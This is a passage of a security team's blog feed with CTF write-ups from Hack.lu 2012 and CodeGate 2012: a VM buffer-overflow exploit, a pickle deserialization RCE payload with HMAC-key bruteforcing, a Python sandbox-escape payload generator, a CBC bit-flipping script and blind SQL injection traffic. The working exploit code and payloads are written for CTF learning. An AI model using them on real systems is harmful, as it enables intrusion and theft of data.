Since result from v22 we can understand an overflow occur, last 2 bytes of our string overwrite value at heap1_end2.
When OPCODE 0×58 is processed, PC will increase base on that 2 bytes.

Now the time for exploitation, first we need to calculate offset beetween PC at that time and our string.

gdb>b *0×080487DE if $ebx=0×4242
gdb>c
…..
gdb>x/20wx $edi-0×40
0×8343fb5: 0×00000000 0×00000000 0×00000000 0×00000000
0×8343fc5: 0×700e4242 0×00007010 0×00000000 0×42424242
0×8343fd5: 0×42424242 0×42424242 0×42424242 0×42424242
0×8343fe5: 0×42424242 0×00104242 0×7000ffc9 0×01e38010
0×8343ff5: 0×42424242 0×42424242 0×42424242 0×42424242
gdb> x/x $esp+0×2c
0xffe8648c: 0×08334008
gdb> p/x 0×8343fd5-0×08334008
$5 = 0xffcd

So just to confirm i’ll return to 0×40 ( write OPCODE) :

python -c ‘print “3″*34+”\x40″*41+”\xff\xcd”*7′ > file

And:

./braingathering < file
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I’m going to get my brains somewhere else.

### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
Comparing k1llc0d3
INVALID

INVALID
INVALID
INVALID
INVALID
INVALID
INVALID
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

And make sure index of byte we can start our shellcode:

python -c ‘print “3″*34+”A”*6+”\x40″+”B”*34+”\xff\xcd”*7′ > file
./braingathering < file
Comparing k1llc0d3
INVALID

INVALID

In OPCODE 0×40:

case 0×40:
v36 = *PC++;
v37 = 2;
v63 = v4;
if ( v36 <= 1u )
v37 = v36;
v38 = v37;
len = STRLEN(&PC[v61]);
WRITE(v38, &PC[v61], len);
v4 = v63;
continue;

Finally. We findout where content of killcode existence in memory.
Let find where it is:

gdb-peda$ searchmem KILLCODE heap
Searching for ‘KILLCODE’ in: heap ranges
Found 1 results, display max 1 items:
[heap] : 0×838b008 (”KILLCODE\n## Warn”)
gdb-peda$ p/x 0×838b008-0×08383008
$1 = 0×8000

And we need to reset v61 to 0×8000 We use OPCODE 0×49

case 0×49:
v29 = PC[1];
v30 = *PC;
PC += 2;
v61 = (v29 << 8) | v30;
continue;

And final exploit ( so lucky since v61 has value 0 at that time)

$echo “FUKCING KILLCODE” > killcode

$python -c ‘print “3″*34+”A”*6+”\x49\x00\x80\x40″+”B”*31+”\xff\xcd”*7′ > file
./braingathering < file
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I’m going to get my brains somewhere else.

### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
Comparing k1llc0d3
INVALID

FUKCING KILLCODE

and hex-rays source:

int __cdecl sub_80485E0()
{
  BYTE *PC; // esi@1 MAPDST
  int index; // eax@1
  _WORD *heap1_end2; // edi@3
  int v4; // edx@3
  char opCode; // al@4
  int v6; // ST3C_4@5
  unsigned __int16 v7; // ax@6
  int v8; // eax@11
  int v9; // esi@12
  __int16 v10; // si@15
  __int16 v11; // ax@15
  char v12; // si@16
  int v13; // ecx@16
  unsigned __int16 v14; // cx@19
  char v15; // si@23
  int v16; // eax@23
  unsigned __int16 v17; // si@26
  __int16 v18; // si@27
  __int16 v19; // ax@27
  char v20; // si@30
  int v21; // eax@30
  int v22; // ebx@33
  __int16 v23; // si@36
  __int16 v24; // ax@36
  __int16 v25; // si@37
  __int16 v26; // ax@37
  __int16 v27; // si@38
  __int16 v28; // cx@38
  __int16 v29; // ax@39
  __int16 v30; // cx@39
  __int16 v31; // si@45
  __int16 v32; // ax@45
  int v33; // ST3C_4@47
  int v34; // ST3C_4@48
  unsigned __int16 v35; // ax@48
  unsigned __int16 v36; // si@50
  signed int v37; // eax@50
  signed int v38; // ST40_4@52
  int len; // eax@52
  unsigned __int16 v40; // si@53
  int v41; // ST3C_4@53
  __int16 v42; // si@54
  unsigned __int16 v43; // ax@54
  __int16 v44; // si@55
  __int16 v45; // ax@55
  __int16 v46; // si@57
  __int16 v47; // ax@57
  BYTE v48; // si@59
  int v49; // ecx@59
  int v50; // eax@63
  __int16 v51; // si@67
  unsigned __int16 v52; // ax@67
  BYTE v53; // si@77
  int v54; // ecx@77
  __int16 v55; // si@80
  __int16 v56; // ax@80
  char v57; // si@82
  int v58; // eax@82
  int v59; // eax@85
  unsigned __int16 v61; // [sp+1Eh] [bp-42h]@3
  int v63; // [sp+3Ch] [bp-24h]@50
  BYTE *heap1_end1; // [sp+44h] [bp-1Ch]@3
  unsigned __int16 v65; // [sp+48h] [bp-18h]@3
  unsigned __int16 v66; // [sp+4Ah] [bp-16h]@3

  PC = (BYTE *)malloc_(65535);
  memset_((int)PC, 0, 65535);
  index = 0;
  do
  {
    PC[index] = byte_804B060[index];
    ++index;
  }
  while ( index != 2068 );
  heap1_end1 = PC + 65535;
  heap1_end2 = PC + 65535;
  v4 = 0;
  v65 = 0;
  v66 = 0;
  v61 = 0;
  while ( 1 )
  {
    opCode = *PC++;
    switch ( opCode )
    {
      default:
        continue;
      case 0x90:
        v6 = v4;
        sleep_();
        v4 = v6;
        continue;
      case 0x86:
        v7 = *heap1_end2;
        ++heap1_end2;
        v65 = v7;
        continue;
      case 0x82:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
          goto terminate_;
        --heap1_end2;
        *heap1_end2 = v65;
        continue;
      case 0x81:
        v61 = (_WORD)heap1_end2 - (_WORD)PC;
        continue;
      case 0x7B:
        v8 = v4 & 0x1FFF;
        if ( v66 == v65 )
        {
          v4 &= 0x1FFFu;
          BYTE1(v4) |= 0x20u;
          v65 = v66;
        }
        else
        {
          HIWORD(v9) = HIWORD(v4);
          LOWORD(v4) = v8 | 0x8000;
          if ( v66 >= v65 )
          {
            LOWORD(v9) = v8 | 0x4000;
            v4 = v9;
          }
        }
        continue;
      case 0x79:
        v10 = PC[1];
        v11 = *PC;
        PC += 2;
        v65 -= (v10 << 8) | v11;
        continue;
      case 0x75:
        v12 = *PC++;
        v13 = v4 | 0x8000;
        LOWORD(v4) = v4 & 0x7FFF;
        if ( v12 )
          v4 = v13;
        continue;
      case 0x74:
        v14 = *heap1_end2;
        ++heap1_end2;
        v61 = v14;
        continue;
      case 0x71:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
          goto terminate_;
        --heap1_end2;
        *heap1_end2 = v66;
        continue;
      case 0x69:
        v15 = *PC++;
        v16 = v4 | 0x40;
        v4 &= 0xFFFFFFBFu;
        if ( v15 )
          v4 = v16;
        continue;
      case 0x68:
        v17 = *heap1_end2;
        ++heap1_end2;
        v66 = v17;
        continue;
      case 0x66:
        v18 = PC[1];
        v19 = *PC;
        PC += 2;
        v66 = (v18 << 8) | v19;
        continue;
      case 0x61:
        v61 ^= (unsigned __int16)(PC[1] << 8) | *PC;
        goto LABEL_29;
      case 0x5C:
        v20 = *PC++;
        v21 = v4 | 0x20;
        v4 &= 0xFFFFFFDFu;
        if ( v20 )
          v4 = v21;
        continue;
      case 0x58:
        v22 = *heap1_end2;
        ++heap1_end2;
        PC += v22;
        continue;
      case 0x53:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
          goto terminate_;
        v23 = PC[1];
        --heap1_end2;
        v24 = *PC;
        PC += 2;
        *heap1_end2 = (v23 << 8) | v24;
        continue;
      case 0x4F:
        v25 = PC[1];
        v26 = *PC;
        PC += 2;
        v61 += (v25 << 8) | v26;
        continue;
      case 0x4B:
        v27 = PC[1];
        v28 = *PC;
        PC += 2;
        v65 = (v27 << 8) | v28;
        continue;
      case 0x49:
        v29 = PC[1];
        v30 = *PC;
        PC += 2;
        v61 = (v29 << 8) | v30;
        continue;
      case 0x47:
        if ( (v4 & 0x2010) == 8208 || v4 & 0x40 && (unsigned __int16)v4 >> 15 || (v4 & 0x4020) == 16416 )
          PC += *PC | (PC[1] << 8);
        else
LABEL_29:
          PC += 2;
        continue;
      case 0x45:
        v31 = PC[1];
        v32 = *PC;
        PC += 2;
        v65 += (v31 << 8) | v32;
        continue;
      case 0x43:
        if ( v61 > 2u )
        {
          v33 = v4;
          close_(v61);
          v4 = v33;
        }
        continue;
      case 0x42:
        v34 = v4;
        v35 = OPEN(&PC[v61], 0);
        v4 = v34;
        v61 = v35;
        continue;
      case 0x41:
        v4 = *heap1_end2;
        ++heap1_end2;
        continue;
      case 0x40:
        v36 = *PC++;
        v37 = 2;
        v63 = v4;
        if ( v36 <= 1u )
          v37 = v36;
        v38 = v37;
        len = STRLEN(&PC[v61]);
        WRITE(v38, &PC[v61], len);
        v4 = v63;
        continue;
      case 0x3F:
        v40 = *PC++;
        v41 = v4;
        READ(v40, &PC[v61], 0xFFFF - (unsigned __int16)((_WORD)heap1_end2 - (_WORD)PC));
        v4 = v41;
        continue;
      case 0x3D:
        v42 = PC[1];
        v43 = *PC;
        PC += 2;
        heap1_end2 = (char *)heap1_end2 - ((unsigned __int16)(v42 << 8) | v43);
        continue;
      case 0x3A:
        v44 = PC[1];
        v45 = *PC;
        PC += 2;
        v61 -= (v44 << 8) | v45;
        continue;
      case 0x39:
        v61 += v66;
        continue;
      case 0x36:
        v46 = PC[1];
        v47 = *PC;
        PC += 2;
        v66 += (v46 << 8) | v47;
        continue;
      case 0x33:
        v66 = (_WORD)heap1_end2 - (_WORD)PC;
        continue;
      case 0x31:
        v48 = *PC;
        v49 = v4;
        ++PC;
        BYTE1(v49) |= 0x20u;
        BYTE1(v4) &= 0xDFu;
        if ( v48 )
          v4 = v49;
        continue;
      case 0x30:
        *(_WORD *)&PC[v61] = v66;
        continue;
      case 0x2C:
        v50 = v4 & 0x1FFF;
        if ( v61 == v65 )
        {
          v4 &= 0x1FFFu;
          BYTE1(v4) |= 0x20u;
          v65 = v61;
        }
        else
        {
          LOWORD(v4) = v50 | 0x8000;
          BYTE1(v50) |= 0x40u;
          if ( v61 >= v65 )
            v4 = v50;
        }
        continue;
      case 0x28:
        v51 = PC[1];
        v52 = *PC;
        PC += 2;
        heap1_end2 = (char *)heap1_end2 + ((unsigned __int16)(v51 << 8) | v52);
        continue;
      case 0x27:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
          goto terminate_;
        --heap1_end2;
        *heap1_end2 = (_WORD)PC + 2 - (_WORD)PC;
        PC += (unsigned __int16)(PC[1] << 8) | *PC;
        break;
      case 0x25:
        v61 -= v66;
        break;
      case 0x24:
        v65 = (_WORD)heap1_end2 - (_WORD)PC;
        break;
      case 0x21:
        v61 = *(_WORD *)&PC[v66];
        break;
      case 0x20:
        if ( (unsigned int)PC > (unsigned int)heap1_end2 || (unsigned int)heap1_end2 > (unsigned int)heap1_end1 )
        {
terminate_:
          put_("VM PROTECTION FAIL, TERMINATING");
          exit_(1);
        }
        --heap1_end2;
        *heap1_end2 = v61;
        break;
      case 0x17:
        v53 = *PC;
        v54 = v4;
        ++PC;
        BYTE1(v54) |= 0x40u;
        BYTE1(v4) &= 0xBFu;
        if ( v53 )
          v4 = v54;
        break;
      case 0x16:
        v55 = PC[1];
        v56 = *PC;
        PC += 2;
        v66 -= (v55 << 8) | v56;
        break;
      case 0x14:
        --heap1_end2;
        *heap1_end2 = v4;
        break;
      case 0xD:
        v57 = *PC++;
        v58 = v4 | 0x10;
        v4 &= 0xFFFFFFEFu;
        if ( v57 )
          v4 = v58;
        break;
      case 0xA:
        v59 = v4 & 0x1FFF;
        if ( v61 == v66 )
        {
          v4 &= 0x1FFFu;
          BYTE1(v4) |= 0x20u;
          v66 = v61;
        }
        else
        {
          v4 &= 0x1FFFu;
          BYTE1(v59) |= 0x40u;
          LOWORD(v4) = v4 | 0x8000;
          if ( v66 <= v61 )
            v4 = v59;
        }
        break;
      case 0xFF:
        return 0;
    }
  }
}
]]>
http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-6-braingathering-500/feed/ 0
[writeup] Hacklu 2012 – Challenge #19 – Zombie Reminder – (200) http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-19-zombie-reminder-200/ http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-19-zombie-reminder-200/#comments Thu, 25 Oct 2012 15:09:13 +0000 pdah https://vnsecurity.net/?p=1457

19 – Zombie Reminder
Zombies love brains. But zombies forget, so they have a tool where they can enter the location of brains they found. In a heroic mission someone managed to obtain both the source code and the information that a critical file can be found at ‘/var/www/flag’.
Your mission is to obtain the contents of this file by any means and avenge your fallen friend!
Service: https://ctf.fluxfingers.net:2073/
Source: https://ctf.fluxfingers.net/challenges/zombie_reminder.py

This challenge is a web application returning an arbitrary text that inputed by you previously. Your input is stored in “location” cookie with format of “<hash_digest>!<encoded_input>” where:

  • encoded_input = base64_encode(pickle.dumps(your_input))
  • hash_digest = sha256(encoded_input+secret_key)

    • When you go back to the main page, if a valid cookie is set the application will load the pickle object from cookie and print it out.

          location = pickle.loads(b64d(location))
      

      The purpose of hash_digest is to ensure that your_input is a string submitted through challenge’s web form. However this design has 2 major flaws:

      We submit a random string (let’s say “test”) and look at the cookie:
      location=”04b098d726754c810c65595a82dd42a9564ce332fd51c0da2a43bbdd42a91f37!VnRlc3QKcDAKLg==”

      We use this script to bruteforce the secret key :

      #!/usr/bin/env python
      
      import multiprocessing
      from hashlib import *
      import string
      import sys
      
      s = string.ascii_letters + string.digits
      location = "VnRlc3QKcDAKLg=="
      digest = "04b098d726754c810c65595a82dd42a9564ce332fd51c0da2a43bbdd42a91f37"
      
      print len(s)
      
      WORKERS    = 8
      
      def worker(start,end):
      
          for i1 in s[start:end]:
              for i2 in s:
                  for i3 in s:
                      for i4 in s:
                          for i5 in s:
                              secret  = i1+i2+i3+i4+i5
      
                              if sha256("%s%s" % (location, secret)).hexdigest() == digest:
                                  print "*******", secret
                                  sys.exit(0)
      
      def main():
      
          ps = []
          for i in range(WORKERS):
              if i == WORKERS -1:
                  tmp = multiprocessing.Process(target=worker, args=(i*(len(s)/WORKERS),len(s),))
              else:
                  tmp = multiprocessing.Process(target=worker, args=(i*(len(s)/WORKERS),(i+1)*(len(s)/WORKERS),))
              tmp.start()
              ps.append(tmp)
      
          for p in ps:
              p.join()
      
          return jobs.empty()
      
      if __name__ == '__main__':
          main()
      

      After a few minutes we managed to find the key oIqxe. Our next task is to build a pickled representation of a python code object, the goal is to execute a code similar to this when pickle.loads() is called:

          __import__("commands").getoutput("cat /var/www/flag")
      

      This code is used to generate such serialized string:

      import pickle, new
      
      def nasty(module, function, *args):
              return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())
      
      t = nasty("commands", "getoutput", "cat /var/www/flag")
      
      print repr(t) 
      
      # Output: "(S'cat /var/www/flag'\np1\nicommands\ngetoutput\np2\n(dp3\nb."
      

      Now we have everything to get the flag, time to build a valid cookie:

      from hashlib import sha256
      import base64
      b64e=base64.b64encode
      
      secret = 'oIqxe'
      location = b64e("(S'cat /var/www/flag'\np1\nicommands\ngetoutput\np2\n(dp3\nb.")
      
      cookie = "%s!%s" % (sha256("%s%s" % (location, secret)).hexdigest(), location)
      
      print cookie
      

      Place this cookie into your browser (don’t ask us how to do that lolz) and refresh, the flag will be right on the screen.

      Hello, here is what we remember for you. If you want to change, delete or extend it, click below
      08ac40047dae3f6a36471d768dfcb1b7a8e18fb8

      ]]> http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-19-zombie-reminder-200/feed/ 0 [writeup] Hacklu 2012 – Challenge #13 – The Sandbox Terminal http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-13/ http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-13/#comments Thu, 25 Oct 2012 14:54:54 +0000 w00d https://www.vnsecurity.net/?p=1445

      Solved by w00d @ clgt
      Thanks g4mm4 for giving many suggestions and draft the first version of the exploit

      13 – The Sandboxed Terminal (400)

      Since the zombie apocalypse started people did not stop to ask themselves how the whole thing began. An abandoned military base may lead to answers but after infiltrating the facility you find yourself in front of a solid steel door with a computer attached. Luckily this terminal seems to connect to a Python service on a remote server to reduce load on the small computer. While your team managed to steal the source, they need your Python expertise to hack this service and get the masterkey which should be stored in a file called key.

      https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py

      In this ctf, I bumped into a few python challenges. Though having been using it for a while, I’m still a novice and pretty much ill-prepared, it took me a lot of time to read articles about python security. There are many interesting ones which I might write in a separate blog, however they do not help me much to solve this challenge, the only thing they help is to keep me motivated.

      The python program consists of two parts:

      - First part is the Detangle class which basically make a “sandbox” environment:

      1. You can not import anything.
      2. You can neither use “open” nor “file” command.
      3. It prints some nice debug information about what python command is executed and their arguments.

      - Second part allows you to input 3 params: num1, num2 and operator. There are two regular expressions to check your input:

      num_pattern = re.compile(r'^[\d]{0,4}$')
      operator_pattern = re.compile(r'^[\W]+$')
      ...
      if not num_pattern.match(num1) or not num_pattern.match(num2):
          raise SystemExit('Number rejected')
      if not operator_pattern.match(operator) or len(operator) &gt; 1900:
          raise SystemExit('Operator rejected')
      
      1. num1, num2 should only be number, 4 digits at most.
      2. operator should not contain any alphanumeric characters and its length must be at most 1900.

      These input will be fed into some eval command as follow:

      operator = eval(operator) if "'" in operator else operator
      print(eval(num1 + operator + num2))
      

      For example, you can input “1″ , “2″ , “+”. The program will return “3″, simple as that.

      Obviously, if someone tells you to exploit this program, first is to look at “eval” (i.e. “evil”) and try to exploit that. But it’s a difficult task because you can’t bypass the two regular expressions and input any python code, recall that you can only input number or non-alphanumberic character.

      I tried several attempts and failed including some silly: trying to write a valid python code using unicode character, trying to overflow eval, trying to exploit Detangle, find a 0-day/1-day of re.match, ..
      But failures teach you some lessons. I noticed that “operator” is eval-ed twice. That means after the first eval, we may be able to convert some non-alphanumberic character into python code and get it executed on the next one.

      I started with this gadget: s = "(''=='')+(''=='')"(inside are two single quotes). Run eval(s) in a python terminal will return you number “2″. Using this gadget/similar kind we typically can create any number. Progress: 25% !

      Now what about character ? It turned out that I can use backstick : ` ` as repr() which can give me some string that contains alpha-character, such as : `(''=='')` => “True”, `(''!='')` => “False”, moreover I can access each single character using square bracket : `(''=='')`[1] => ‘r’, or even better `'\xaa'`[3] => ‘a’. We now can create any of these: ‘abcdefxTruFls’. Progress: 50% !

      I stopped looking at gadget, and started looking at how to bypass the Detangle class. It’s not hard as it look, though we can’t use “open” or “file” to open a file, can’t import anything, we can still use the built-in “execfile”. It does not allow us to run abitrary command but we can leak some info about the content of a file like this:

      >>> execfile(”/etc/passwd”)
      Traceback (most recent call last):
      File “”, line 1, in
      File “/etc/passwd”, line 1
      root:x:0:0:root:/root:/bin/bash
      ^
      SyntaxError: invalid syntax

      Progress: 75% !!!!! ** so excited **

      I need to read the file ‘key’ which makes the payload: “+execfile(’key’)+“. As you can see, It contains “k”,”y”,”i” that is not in my “magic” list. Luckily the force is with me, 5 minutes after seeing this problem, I come up with this awesome gadget: "%c"%(107) => “k”. Any character can be generated using this gadget, however producing the number 107 can consume a lot of characters if done naively.

      The last thing is to make the payload as short as possible because the operator length is limited at 1900. Putting everything together, I am able to produce a 1650-bytes payload, far smaller than the limit! Now see how it work:

      python exploit.py | nc ctf.fluxfingers.net 2060

      Traceback (most recent call last):
      File “./sandbox.py”, line 77, in
      print(eval(num1 + operator + num2))
      File “./sandbox.py”, line 45, in __call__
      result = self.orig(*args, **kwargs)
      File “”, line 1, in
      File “./sandbox.py”, line 45, in __call__
      result = self.orig(*args, **kwargs)
      File “key”, line 1, in
      dafuq_how_did_you_solve_this_nonalpha_thingy
      NameError: name ‘dafuq_how_did_you_solve_this_nonalpha_thingy’ is not defined

      Mission accomplished ! Beer time =]

      exploit.py source code:

      def makenumsmall(d):
      	gadget = "(''=='')"
      	rs = gadget
      
      	if (d==0): return rs+"-"+rs
      	if (d==1): return rs+"*"+rs
      
      	for i in range(1,d): rs += "+(''=='')"
      	return rs
      
      def makenum(d):
      	if (d<5): return makenumsmall(d)
      	a = bin(d)[2:]
      	index = len(a) - 1
      	s = ""
      	for c in a:
      		if c == '1':
      			s+= "("+makenumsmall(1)+"<<"+makenumsmall(index)+")+"
      		index-=1
      	return s[0:-1]
      
      def makechar(line):
      	return "('%'+`'"+chr(0xcc)+"'`["+str(makenum(3))+"])["+str(makenum(0))+":"+str(makenum(4))+"]%(" + makenum(line) + ")"
      
      gd = {}
      
      gd['x'] = "`'"+chr(0xcc)+"'`["+makenum(2)+"]"
      gd['a'] = "`'"+chr(0xaa)+"'`["+makenum(3)+"]"
      gd['b'] = "`'"+chr(0xbb)+"'`["+makenum(3)+"]"
      gd['c'] = "`'"+chr(0xcc)+"'`["+makenum(3)+"]"
      gd['d'] = "`'"+chr(0xdd)+"'`["+makenum(3)+"]"
      gd['e'] = "`'"+chr(0xee)+"'`["+makenum(3)+"]"
      gd['f'] = "`'"+chr(0xff)+"'`["+makenum(3)+"]"
      
      a = "+execfile('key')+"
      solo = [ord(i) for i in a]
      #print solo
      _sum = ''
      import re
      for line in solo:
      	if chr(line) in gd:
      		_gad = gd[chr(line)]
      	elif chr(line) == "'":
      		_gad = "'\\''"
      	elif re.match("\W",chr(line)):
      		_gad = "'"+chr(line)+"'"
      	else:
      		_gad = makechar(line)
      	_sum += "+" + _gad
      
      _sum = _sum[1:]
      #print len(_sum)
      #print eval(eval(_sum))
      print "1\n1\n"+_sum
      
      ]]>
      http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-13/feed/ 0
      [writeup] Hacklu 2012 – Challenge #10 (500) http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-10-500/ http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-10-500/#comments Thu, 25 Oct 2012 11:27:02 +0000 pdah https://www.vnsecurity.net/?p=1433

      10 – zlotpy
      Gambling time. Play against the Internet Zlot Machine at ctf.fluxfingers.net tcp/2053 This challenge has two stages.

      1) Medium: Investigate the contents of a saved game.

      2) Hard: Get 8 (EIGHT) bonus points. Good luck! Hint: We have some sourcecode for you! https://ctf.fluxfingers.net/challenges/zlot.py

      At the first sight, we thought this challenge was about Padding Oracle, but it turned out that Bit Flipping attack should be enough to solve.
      First step is to send ‘S’ and get back the ciphertext representing current game state

      Welcome to the Internet ZlotMachine. Enter ‘T’ for the Tutorial.
      Your current balance is 5 credits and 1 bonus
      S
      Your games has been saved! Please write down the following save game code.
      WVIagr4eWOGCHi/CSQg1oKEgZneHnJJIm5LJjJeacngsTG1hm9jfygT6ZpBrsFihNKoef165OP2pb+tacn+9FlV+CfKjelFHS4MykxpJcYk=
      This game may later be loaded with L

      If we send this cipher back to the server, it will return “Your current balance is 5 credits and 1 bonus”

      The code below will loop throuth each byte of the cipher text, increase the value by one and ask the server to load that newly created gamestate.

      s = socket(AF_INET, SOCK_STREAM)
      s.connect(("ctf.fluxfingers.net",2053))
      s.recv(1024)</code>
      
      responses = set()
      
      def send_request(data):
          try:
              s.send("L"+data+"\n")
          except:
              s = socket(AF_INET, SOCK_STREAM)
              s.connect(("ctf.fluxfingers.net",2053))
              s.recv(1024)
              s.send("L"+data+"\n")</code>
      
          r = s.recv(1024)
      
          if r not in responses:
              responses.add(r)
              print r
      
      orig_cipher = base64.b64decode("mzIbwjPTw6hMVcp5DsRZGJykuaWXYaukFOEvUT5xVFLfjqQahbCTNsjXYYUawNEc+XFBV689Y/LPD8YYqKy+Z4DqS1uh9yva1ICjyphYbC8=")
      fake_cipher = orig_cipher
      l = len(orig_cipher)
      for i in range(l):
          print "Try with character #%d"%i
          fake_cipher = set_byte(orig_cipher, i, chr((ord(fake_cipher[i])+1)%256) )
          send_request(base64.b64encode(fake_cipher))
      

      The response will look like this:

      Try with character #9
      Try with character #10
      Restored state.
      Your current balance is 5 credits and 0 bonus

      Try with character #11
      Error loading game: Expecting , delimiter: line 1 column 11 (char 11)

      Looking at the result, we notice that changing value of byte #10 will cause the bonus value changed.
      Now we simply brute the value of this byte until getting the flag:

      orig_cipher = base64.b64decode("mzIbwjPTw6hMVcp5DsRZGJykuaWXYaukFOEvUT5xVFLfjqQahbCTNsjXYYUawNEc+XFBV689Y/LPD8YYqKy+Z4DqS1uh9yva1ICjyphYbC8=")
      fake_cipher = orig_cipher
      l = len(orig_cipher)
      for i in range(256):
          index = 10
          fake_cipher = set_byte(fake_cipher, index, chr((ord(fake_cipher[index])+i)%256) )
          send_request(base64.b64encode(fake_cipher))
      

      We will see the flag after a few minutes:

      Restored state.
      Your current balance is 5 credits and 5 bonus

      Restored state.
      Your current balance is 5 credits and 8 bonus
      Nice one. Here’s your flag: 9eef8f17d07c4f11febcac1052469ab9

      ]]>
      http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-10-500/feed/ 0
      CSAW CTF 2012 http://www.vnsecurity.net/2012/10/csaw-2012-ctf/ http://www.vnsecurity.net/2012/10/csaw-2012-ctf/#comments Mon, 01 Oct 2012 02:51:33 +0000 admin https://www.vnsecurity.net/?p=1426

      CLGT has just finished CSAW CTF 2012. Solved all challenges and finished 5th. Congrats to CLGT’s junior undergrad members who have done amazing jobs by solving most of the challenges.

      csaw2012 scoreboard

      ]]>
      http://www.vnsecurity.net/2012/10/csaw-2012-ctf/feed/ 0
      CodeGate 2012 Quals – Network 400 http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-400/ http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-400/#comments Thu, 01 Mar 2012 04:33:22 +0000 pdah https://www.vnsecurity.net/?p=1401

      Challenge

      Because of vulnerability of site in Company A, database which contains user’s information was leaked. The file is dumped packet at the moment of attacking.
      Find the administrator’s account information which was leaked from the site.
      For reference, some parts of the packet was blind to XXXX.

      Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))
      (’|'is just a character)

      http://repo.shell-storm.org/CTF/CodeGate-2012/Network400/80924D4296FCBE81EA5F09CF60542AE7

      Summary

      Given a pcap file (again) captured from an attack, we need to find information about database name, table name, administrator’s password in plaintext.
      This challenge requires basic network analysis skill, some knowledge of Blind SQL Injection and password recovery tools.

      Solution

      Browsing the pcap file using wireshark, this is obviously a Blind SQL Injection attack.

      GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavyy HTTP/1.1
      Accept-Encoding: identity
      Accept-Language: en-us,en;q=0.5
      Host: www.cdgate.xxx
      Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
      User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
      Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
      Connection: close
      
      HTTP/1.1 200 OK
      Date: Wed, 22 Feb 2012 09:01:54 GMT
      Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
      X-Powered-By: PHP/5.2.6-2ubuntu4.1
      Vary: Accept-Encoding
      Content-Length: 0
      Connection: close
      Content-Type: text/html
      
      GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavy HTTP/1.1
      Accept-Encoding: identity
      Accept-Language: en-us,en;q=0.5
      Host: www.cdgate.xxx
      Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
      User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
      Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
      Connection: close
      
      HTTP/1.1 200 OK
      Date: Wed, 22 Feb 2012 09:01:54 GMT
      Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
      X-Powered-By: PHP/5.2.6-2ubuntu4.1
      Vary: Accept-Encoding
      Content-Length: 4
      Connection: close
      Content-Type: text/html
      

